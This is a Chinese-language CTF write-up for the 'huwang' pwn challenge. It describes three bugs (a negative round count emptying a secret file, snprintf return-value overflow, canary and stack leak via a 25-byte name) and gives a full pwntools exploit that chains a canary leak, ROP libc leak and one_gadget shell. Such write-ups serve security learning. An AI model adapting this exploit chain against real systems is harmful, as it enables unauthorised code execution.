看到这个题目就觉得有点眼熟, 后来发现就是国赛awd题目改了改. (可能就是北航把自己国赛出的题目改了一下吧....) 但是国赛的时候我也没做出来.... 然后这次仍然没做出来..... 看了天枢的wp(天枢的大佬们太强了orz) 发现原来漏洞这么明显..... 看完wp发现six也可以算原题, 主办方也太懒了吧....
经过上次的Teaser Dragon CTF和这次的护网杯, 我深刻意识到我软件构造学的是多么的菜TAT, 上次的production里面的assert就是软件构造中的重要内容, faststorge里面的abs()溢出如果test case那部分学的扎实的话也应该想到的(极值嘛), 这次huwang这题就更过分了, 只要输入个负数就能解决的问题, 愣是没想到..... six那题其实多调试几次应该就能做出来了(肖神说的是: pwn题还是要多动态调, 静态看会漏掉很多点). 以后一定要多调试, 更要细心些, 把整个输入空间都要想一想. 学以致用才行.
闲话少说, 开始复现.
只有command = 666 时进入的函数有用
漏洞就3个点
- 加密次数可以输-1, 然后程序会进入一个很长的循环, 我们就可以关闭连接, 然后
/tmp/secret
里面的内容就是空了 -
snprintf
函数返回值会大于0xff, 之后read会存在溢出. - 输入用户名为25个字节的时候可以leak canary和栈地址
过程:
- 第一次连接使
/tmp/secret
为空 - 第二次连接:
- 输入用户名的长度为25(canary最低字节为'\x00'),
- 猜md5的时候输入'\x00'*16的md5值
- leak canary 和 栈地址
- 输入足够长的字符串, 使得
snprintf
返回值足够大 - 构造payload, 先找一个gadget(
pop rdi; ret
), 得到libc地址 - 再次溢出跳转到
one_gadget
exp 如下:
from pwn import *
import md5
io = process('./huwang')
# libc = ELF('./')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
ru = lambda x : io.recvuntil(x)
sn = lambda x : io.send(x)
rl = lambda : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
# def secret(name = 'aaa'):
m = md5.new()
m.update('\x00'*16)
md5_zero = m.digest()
sla('>>', '666')
ru('name')
sn('a'*25)
# sla('name', 'a'*25)
sla('secret', 'y')
sla('rounds', '1')
ru('guess the md5')
sn(md5_zero)
ru('a'*25)
res = rl()
canary = u64('\x00' + res[:7])
log.info('canary: ' + hex(canary))
stack_addr = u64(res[7: 7+6] + '\x00\x00')
log.info('stack_addr: ' + hex(stack_addr))
old_rbp = stack_addr + (0x3b0 - 0x450)
piece = {
0x108 : p64(canary),
0x110 : p64(old_rbp)
}
bss_start = 0x603038
pop_rdi_ret = 0x401573
payload = fit(piece, filler = '\x00') + p64(pop_rdi_ret) + p64(stack_addr + 8) + p64(0x4010d4)
ru('What`s your occupation?')
sn('a' * 0xff)
ru('[Y/N]')
sn('Y')
sleep(0.1)
sn('Y')
sleep(0.1)
sn(payload)
ru("final pres")
rl()
libc = u64(rl()[:6] + '\x00\x00')
libc_base = libc - 0x20830
log.info('libc: ' + hex(libc))
one = 0x4526a
payload2 = fit(piece, filler = '\x00') + p64(libc_base + one)
sleep(0.3)
sn('Y')
sleep(0.3)
sn('Y')
sleep(0.3)
sn(payload2)
io.interactive()
网友评论